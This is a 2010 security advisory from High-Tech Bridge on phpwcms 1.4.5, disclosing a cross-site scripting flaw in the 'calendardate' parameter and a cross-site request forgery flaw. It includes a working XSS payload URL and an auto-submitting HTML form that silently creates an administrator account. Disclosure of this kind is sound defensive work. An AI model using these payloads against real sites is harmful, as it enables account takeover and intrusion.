Total Tests:

Multiple Vulnerabilities in phpwcms

This vulnerability was discovered by our security researchers before 2019.

Advisory ID:HTB22475
Product:phpwcms
Vendor:Oliver Georgi
Vulnerable Versions:1.4.5 and probably prior
Tested Version:1.4.5
Advisory Publication:July 1, 2010 [without technical details]
Vendor Notification:July 1, 2010
Public Disclosure:July 15, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
Medium Risk
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in phpwcms which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerability in phpwcms
The vulnerability exists due to input sanitation error in the "calendardate" cookie in phpwcms.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/phpwcms.php?do=modules&module=calendar&calendardate=8-2010%22+on mouseover=alert%2834%29+ style=position:absolute;width:100%;height:100%;left:0;top:0;+%22

2) Cross-site request forgery (CSRF) in phpwcms
The vulnerability exists due to insufficient validation of the request origin in phpwcms.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create administrative account.
Exploitation example:
<form action="http://host/phpwcms.php?do=admin&s=1" name="m" method="POST">
<input type="hidden" name="form_newloginname" value="aaa">
<input type="hidden" name="form_newpassword" value="aaa">
<input type="hidden" name="form_newemail" value="[email protected]">
<input type="hidden" name="form_newrealname" value="">
<input type="hidden" name="form_feuser" value="2">
<input type="hidden" name="form_active" value="1">
<input type="hidden" name="verification_email" value="1">
<input type="hidden" name="form_aktion" value="create_account">
<input type="hidden" name="Submit" value="send+user+data">
</form>
<script>
document.m.submit();
</script>


Solution:
Upgrade to the most recent version


References:
[1] High-Tech Bridge Advisory HTB22475 - https://www.immuniweb.com/advisory/HTB22475 - Multiple Vulnerabilities in phpwcms
[2] phpwcms - phpwcms.de - phpwcms is a very flexible, fast, robust, customer and developer friendly but yet powerful web based content management system and cms framework
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Ask a Question